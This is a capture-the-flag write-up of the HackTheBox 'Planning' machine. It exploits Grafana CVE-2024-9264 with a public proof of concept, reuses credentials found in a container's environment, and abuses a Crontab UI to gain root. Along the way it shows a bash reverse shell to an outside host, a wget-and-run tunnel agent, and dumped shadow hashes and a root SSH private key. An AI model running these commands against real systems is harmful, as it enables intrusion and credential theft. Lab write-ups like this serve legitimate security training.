Post

HackTheBox Writeup - Planning

HackTheBox Writeup - Planning

Planning is an easy difficulty Linux machine that features web enumeration, subdomain fuzzing, and exploitation of a vulnerable Grafana instance to CVE-2024-9264. After gaining initial access to a Docker container, an exposed password enables lateral movement to the host system due to password reuse. Finally, a custom cron management application with root privileges can be leveraged to achieve full system compromise.

Recon


Hosts

pt command is a custom pentest framework to manage hosts and variables, it is not required to reproduce the steps in this writeup

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ pt init '10.129.241.255 planning.htb grafana.planning.htb'
+----------+--------+----------------+----------------------+
| PROFILE  | STATUS |       IP       |        DOMAIN        |
+----------+--------+----------------+----------------------+
| planning | on     | 10.129.241.255 | planning.htb         |
| planning | on     | 10.129.241.255 | grafana.planning.htb |
+----------+--------+----------------+----------------------+

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.95 scan initiated Fri May  9 19:38:15 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, 10.129.241.255
Nmap scan report for 10.129.241.255
Host is up, received user-set (0.20s latency).
Scanned at 2025-05-09 19:38:16 CST for 13s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg=
|   256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May  9 19:38:29 2025 -- 1 IP address (1 host up) scanned in 14.30 seconds

80 - HTTP : Online Education Website

Info

1
http://planning.htb [200] [Edukate - Online Education Website] [nginx/1.24.0 (Ubuntu)] [019fcc6b7b2e64f2f2b97648dcec70288abaa058] [Bootstrap:4.4.1,Nginx:1.24.0,OWL Carousel,Ubuntu,jQuery,jQuery CDN]

Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ cat httpx/urls.txt | katana -d 5 -kf all -jc -jsl -silent -fx -j -o "katana.json" -srd "katana" | jq '{endpoint: .request.endpoint, tag: .request.tag, status_code: .response.status_code, length: .response.content_length, forms: (.response.forms // [])} | select((.tag != "link")) | [.status_code, .tag, .length, .endpoint, .forms.[]]' -c
[200,null,23914,"http://planning.htb:80",{"method":"POST","action":"http://planning.htb:80/index.php","enctype":"application/x-www-form-urlencoded","parameters":["keyword"]}]
[200,"script",3338,"http://planning.htb:80/js/main.js"]
[200,"script",2406,"http://planning.htb:80/lib/counterup/counterup.min.js"]
[200,"script",2303,"http://planning.htb:80/lib/easing/easing.min.js"]
[200,"script",9028,"http://planning.htb:80/lib/waypoints/waypoints.min.js"]
[200,"script",42766,"http://planning.htb:80/lib/owlcarousel/owl.carousel.min.js"]
[200,"a",13006,"http://planning.htb:80/detail.php"]
[200,"a",10632,"http://planning.htb:80/contact.php",{"method":"GET","action":"http://planning.htb:80/contact.php"}]
[200,"a",10229,"http://planning.htb:80/course.php"]
[200,"a",12727,"http://planning.htb:80/about.php"]
[null,"js",null,"http://planning.htb:80/lib/owlcarousel/.json"]
[null,"a",null,"http://planning.htb:80/index.php"]
[null,"js",null,"http://planning.htb:80/lib/owlcarousel/owl.carousel.min.js?autoplay=1&rel=0&v="]
[200,"a",7053,"http://planning.htb:80/enroll.php",{"method":"POST","action":"http://planning.htb:80/enroll.php","enctype":"application/x-www-form-urlencoded","parameters":["full_name","email","phone"]}]

Subdomains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ gobuster vhost --append-domain -o gobuster_vhosts.txt -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -k -t 50 -u http://$(pt get rhost)
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://planning.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
Progress: 100000 / 100001 (100.00%)
===============================================================
Finished
===============================================================

80 - grafana.planning.htb : Grafana v11.0.0

Info

1
2
3
┌──(bravosecfsociety)-[~/htb/Planning]
└─$ URL="http://$(pt get rhost):80"; OUT="$(echo $URL | awk -F'://' '{print $NF}' | sed -e 's|[/:]|-|g')"; echo $URL | httpx -random-agent -td -server -title -fr -sc -hash sha1 -silent -ss -timeout 20 -srd "httpx_$OUT" -o "httpx_$OUT/webprobe.txt"
http://grafana.planning.htb [302,200] [Grafana] [nginx/1.24.0 (Ubuntu)] [http://grafana.planning.htb:80/login] [5c0ce64eba8b90c5c6b0be42f39ed049abdfb446] [Nginx:1.24.0,Ubuntu]

Directory

1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ echo http://grafana.planning.htb | hakrawler -s -insecure -d 5 -subs -u
[href] https://grafana.com/docs/grafana/latest/installation/requirements/#supported-web-browsers
[script] http://grafana.planning.htb/public/build/runtime.cdf4a91d1bca3a285368.js
[script] http://grafana.planning.htb/public/build/6029.0549a3fcb50e73c4b256.js
[script] http://grafana.planning.htb/public/build/484.805ce326eee3d290c3d9.js
[script] http://grafana.planning.htb/public/build/4998.3995ddaaae5acf1aed3e.js
[script] http://grafana.planning.htb/public/build/4570.87a4acc6d9144f9ee50a.js
[script] http://grafana.planning.htb/public/build/app.bbd213ecba15db924b4e.js

User Flag


Assumed breach scenario

Shell as root on docker container

80 - Grafana v11.0.0 : Arbitrary file read and RCE (CVE-2024-9264)

http://grafana.planning.htb/login

Successfully logged in with the breached credential : admin:0D5oT70Fq13EvB5r

  • Google : Grafana v11.0.0 exploit

INFO - https://grafana.com/blog/2024/10/17/grafana-security-release-critical-severity-fix-for-cve-2024-9264/

POC - https://github.com/nollium/CVE-2024-9264

CVE-2024-9264 : Post-Auth DuckDB SQL Injection

The SQL Expressions experimental feature implemented at Grafana v11 allows for the evaluation of duckdb queries containing user input. These queries are insufficiently sanitized before being passed to duckdb, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The duckdb binary must be present in Grafana’s $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.

1
2
3
4
5
cd exploit
git clone https://github.com/nollium/CVE-2024-9264
cd CVE-2024-9264
python -m venv venv && source venv/bin/activate
pip install -r requirements.txt

We validated that the instance is vulnerable to CVE-2024-9264

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(venv)(bravosec㉿fsociety)-[~/htb/Planning/exploit/CVE-2024-9264]
└─$ python CVE-2024-9264.py http://grafana.planning.htb/ -u admin -p '0D5oT70Fq13EvB5r'
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Command execution as root is possible

1
2
3
4
5
6
7
8
9
┌──(venv)(bravosec㉿fsociety)-[~/htb/Planning/exploit/CVE-2024-9264]
└─$ python CVE-2024-9264.py http://grafana.planning.htb/ -u admin -p '0D5oT70Fq13EvB5r' -c id
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: id
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('id >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
uid=0(root) gid=0(root) groups=0(root)

Get a shell

1
nc -lvnp 1111
1
2
3
4
5
┌──(venv)(bravosec㉿fsociety)-[~/htb/Planning/exploit/CVE-2024-9264]
└─$ python CVE-2024-9264.py http://grafana.planning.htb/ -u admin -p '0D5oT70Fq13EvB5r' -c '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.26/1111 0>&1"'
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: /bin/bash -c "bash -i >& /dev/tcp/10.10.14.26/1111 0>&1"
⠴ Running duckdb query
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.11.68] 49704
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~# /usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
root@7ce659d667d7:~# ^Z
zsh: suspended  nc -lvnp 1111

┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111
                               export TERM=xterm
root@7ce659d667d7:~# stty rows 50 columns 209
root@7ce659d667d7:~# id
uid=0(root) gid=0(root) groups=0(root)

From root on docker container to enzo on host

Credential stuffing

Since the hostname looks like a random id, we confirmed that it’s a docker container

1
2
root@7ce659d667d7:~# ls -la / | grep docker
-rwxrwxrwx   1 root root    0 Apr  4 10:23 .dockerenv

It is common that credentials are stored in docker env, we’ve found enzo’s credential

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@7ce659d667d7:~# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm
AWS_AUTH_EXTERNAL_ID=
SHLVL=3
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env

Attempt the credential on host machine’s SHH service

1
2
3
4
5
6
7
8
9
10
11
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ cssh $(pt get rhost) 'enzo' 'RioTecRANDEntANT!'
Warning: Permanently added 'grafana.planning.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)
[...]

Last login: Sat May 17 09:51:33 2025 from 10.10.14.26
enzo@planning:~$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
enzo@planning:~$ cat user.txt
afdada50dcb4bbef770b4505175b8ab7

Root Flag


From enzo to root

Enumeration

The process list of other users are hidden since /proc was mounted with hidepid=2

1
2
3
4
5
6
enzo@planning:~$ ps auxfw5 | grep -vF '\_ ['
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
enzo        5850  0.0  0.2   8668  5504 pts/1    Ss   09:51   0:00 -bash
enzo        6022  0.0  0.2  10884  4352 pts/1    R+   09:57   0:00  \_ ps auxfw5
enzo        3214  0.0  0.2   8648  5376 pts/0    Ss   08:23   0:00 -bash
enzo        3413  0.0  0.2   8652  5376 pts/0    S+   08:31   0:00  \_ bash
1
2
enzo@planning:~$ cat /etc/fstab | grep proc
proc  /proc  proc  defaults,hidepid=2  0 0

There are several ports listening on localhost

1
2
3
4
5
6
7
8
9
10
11
12
enzo@planning:~$ ss -ltnpu | awk '$5 !~ /0.0.0.0|::/'
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0         127.0.0.54:53         0.0.0.0:*
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN 0      70         127.0.0.1:33060      0.0.0.0:*
tcp   LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:36975      0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:3000       0.0.0.0:*
tcp   LISTEN 0      511        127.0.0.1:8000       0.0.0.0:*
tcp   LISTEN 0      4096      127.0.0.54:53         0.0.0.0:*
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN 0      4096               *:22               *:*

Harvesting - Password of zip archive

There’s an interesting json file that seems to be a config file for cron job in /opt

1
2
3
4
5
6
7
8
9
10
11
12
13
enzo@planning:~$ ls -latr /opt
total 16
drwx--x--x  4 root root 4096 Feb 28 19:06 containerd
drwxr-xr-x  4 root root 4096 Feb 28 19:21 .
drwxr-xr-x 22 root root 4096 Apr  3 14:40 ..
drwxr-xr-x  2 root root 4096 May 17 08:33 crontabs
enzo@planning:~$ ls -latr /opt/crontabs/
total 12
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ..
drwxr-xr-x 2 root root 4096 May 17 08:33 .
-rw-r--r-- 1 root root  737 May 17 10:04 crontab.db
enzo@planning:~$ file /opt/crontabs/crontab.db
/opt/crontabs/crontab.db: New Line Delimited JSON text data

The file contains a password for zip archive : P4ssw0rdS0pRi0T3c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
enzo@planning:~$ cat /opt/crontabs/crontab.db | jq .
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

Setup tunnel to access loopback address

We are going to set up a tunnel to the machine to check the ports we can’t access from external

Start ligolo-ng server

1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[/opt/sectools/tunnel/ligolo-ng]
└─$ cd /opt/sectools/tunnel/ligolo-ng/; sudo rm -rf ligolo-selfcerts; sudo ./proxy -nobanner -laddr 0.0.0.0:8443 -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
INFO[0000] Listening on 0.0.0.0:8443
INFO[0000] Starting Ligolo-ng Web, API URL is set to: http://127.0.0.1:8081
WARN[0000] Ligolo-ng API is experimental, and should be running behind a reverse-proxy if publicly exposed.
ligolo-ng »

Download and run ligolo-ng agent on the machine

1
2
3
4
5
6
7
8
9
10
11
12
13
enzo@planning:~$ wget http://10.10.14.130:80/ligolo -O /tmp/ligolo && chmod +x /tmp/ligolo && /tmp/ligolo -connect 10.10.14.130:8443 -ignore-cert
--2025-05-18 15:52:00--  http://10.10.14.130/ligolo
Connecting to 10.10.14.130:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6500504 (6.2M) [application/octet-stream]
Saving to: ‘/tmp/ligolo’

/tmp/ligolo                                          100%[===================================================================================================================>]   6.20M  3.25MB/s    in 1.9s

2025-05-18 15:52:02 (3.25 MB/s) - ‘/tmp/ligolo’ saved [6500504/6500504]

WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established                        addr="10.10.14.130:8443"

Setup a tunnel

1
2
3
4
5
6
7
ligolo-ng » session
? Specify a session : 1 - enzo@planning - 10.10.11.68:48478 - 005056b9139d
[Agent : enzo@planning] » ifcreate --name ligolo
INFO[0198] Creating a new ligolo interface...
INFO[0198] Interface created!
[Agent : enzo@planning] » tunnel_start --tun ligolo
INFO[0201] Starting tunnel to enzo@planning (005056b9139d)

Add a route to access loopback address

1
2
┌──(bravosec㉿fsociety)-[/opt/sectools/tunnel/ligolo-ng]
└─$ sudo ip route add 240.0.0.1/32 dev ligolo

Enumerate ports on loopback address

Enumerate all ports listening on the machine

1
2
3
4
5
6
7
8
9
10
11
12
13
enzo@planning:~$ ss -ltnpu
Netid                State                 Recv-Q                Send-Q                               Local Address:Port                                 Peer Address:Port                Process
udp                  UNCONN                0                     0                                       127.0.0.54:53                                        0.0.0.0:*
udp                  UNCONN                0                     0                                    127.0.0.53%lo:53                                        0.0.0.0:*
tcp                  LISTEN                0                     70                                       127.0.0.1:33060                                     0.0.0.0:*
tcp                  LISTEN                0                     151                                      127.0.0.1:3306                                      0.0.0.0:*
tcp                  LISTEN                0                     4096                                     127.0.0.1:36975                                     0.0.0.0:*
tcp                  LISTEN                0                     4096                                     127.0.0.1:3000                                      0.0.0.0:*
tcp                  LISTEN                0                     511                                      127.0.0.1:8000                                      0.0.0.0:*
tcp                  LISTEN                0                     4096                                    127.0.0.54:53                                        0.0.0.0:*
tcp                  LISTEN                0                     511                                        0.0.0.0:80                                        0.0.0.0:*
tcp                  LISTEN                0                     4096                                 127.0.0.53%lo:53                                        0.0.0.0:*
tcp                  LISTEN                0                     4096                                             *:22                                              *:*

Extract TCP ports from the command output

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ cat enum/netstat.log | sed -n '/State/,$p' | tail -n +2 | awk '$1 == "tcp"' | awk '{print $5}' | cut -d':' -f2 | sed '/^[[:space:]]*$/d' | sort -u | tee netstat_tcp_ports.txt
22
3000
3306
33060
36975
53
80
8000

Extract TCP ports from nmap scan

1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ cat nmap/all_tcp_ports.nmap | tail -n +2 | grep -i open | awk '{print $1}' | cut -d'/' -f1 | sort -u | tee nmap_tcp_ports.txt
22
80

Exclude the accessible ports from external

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ comm -23 netstat_tcp_ports.txt nmap_tcp_ports.txt | sort -nu | tr '\n' ',' | tee local_tcp_ports.txt
53,3000,3306,8000,33060,36975, 

Scan the ports

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ sudo nmap -PE -sVC --version-all -T4 -Pn -vv -oA ./nmap/local_tcp_scan 240.0.0.1 -p $(cat local_tcp_ports.txt)
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-17 00:07 CST
[...]
Discovered open port 3306/tcp on 240.0.0.1
Discovered open port 36975/tcp on 240.0.0.1
Discovered open port 3000/tcp on 240.0.0.1
Discovered open port 8000/tcp on 240.0.0.1
Discovered open port 33060/tcp on 240.0.0.1
[...]

Probe web ports during the nmap scan

1
2
3
4
5
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ for p in $(cat local_tcp_ports.txt | tr ',' '\n'); do echo "240.0.0.1:${p}"; done | httpx -random-agent -td -server -title -fr -sc -hash sha1 -silent -ss -timeout 20 -srd httpx_local
http://240.0.0.1:8000 [401] [] [da39a3ee5e6b4b0d3255bfef95601890afd80709] [Basic,Express,Node.js]
http://240.0.0.1:36975 [404] [] [9433919135ca7524150e6f77a88caed26e3b3421]
http://240.0.0.1:3000 [302,200] [Grafana] [] [http://240.0.0.1:3000/login] [f6025ddbf8fa38b72d99becf0c246d56b450ca63]

8000 - Crontab UI : Create a cron job

http://240.0.0.1:8000 requires a credential, we successfully logged in with root:P4ssw0rdS0pRi0T3c after trying some username and password combinations

We can create corn jobs through this web app

Start reverse shell listener

1
nc -lvnp 1111

Create a cron job to send reverse shell

Click on “Run now”, got a shell immediately

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.130] from (UNKNOWN) [10.10.11.68] 60812
bash: cannot set terminal process group (1384): Inappropriate ioctl for device
bash: no job control in this shell
root@planning:/# /usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
root@planning:/# ^Z
zsh: suspended  nc -lvnp 1111

┌──(bravosec㉿fsociety)-[~/htb/Planning]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111
                               export TERM=xterm
root@planning:/# stty rows 50 columns 209
root@planning:/# id
uid=0(root) gid=0(root) groups=0(root)
root@planning:/# cat /root/root.txt
b4a53a1fb77477ed6c3d0da9d87bc262

Additional


Post exploitation

Secrets

1
2
3
root@planning:/# awk -F: '$2 ~ /^\$/' /etc/shadow
root:$y$j9T$6FXR7mi4BgmaZ7AoBiO470$CBrVTY4d7EK5JUjv8Gc2xjGVxYIr14TUCRkgFY0YvB7:20147:0:99999:7:::
enzo:$y$j9T$D.g0svThdX4dAVCvkaUz3.$jQKKPCGVxCt3NiPX9fCUSzSWXg8V2V6xKvGyhv2yiX.:20147:0:99999:7:::
1
2
3
4
5
6
7
8
[+] /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAPxjJDtAmBImsNcFZXr3YhzuQLPCWpRipb+SGYkuTnUQAAAJBN3qeKTd6n
igAAAAtzc2gtZWQyNTUxOQAAACAPxjJDtAmBImsNcFZXr3YhzuQLPCWpRipb+SGYkuTnUQ
AAAEDO9Hgug9Zsz/58EREKCJGKe2FV72l91Hvyp2l6jopw3A/GMkO0CYEiaw1wVlevdiHO
5As8JalGKlv5IZiS5OdRAAAADXJvb3RAcGxhbm5pbmc=
-----END OPENSSH PRIVATE KEY-----

Files

1

Client side activities

Keylogging & Clipboard history

1

Browser

1

Files & directories access history

1

Application history

1
This post is licensed under CC BY 4.0 by the author.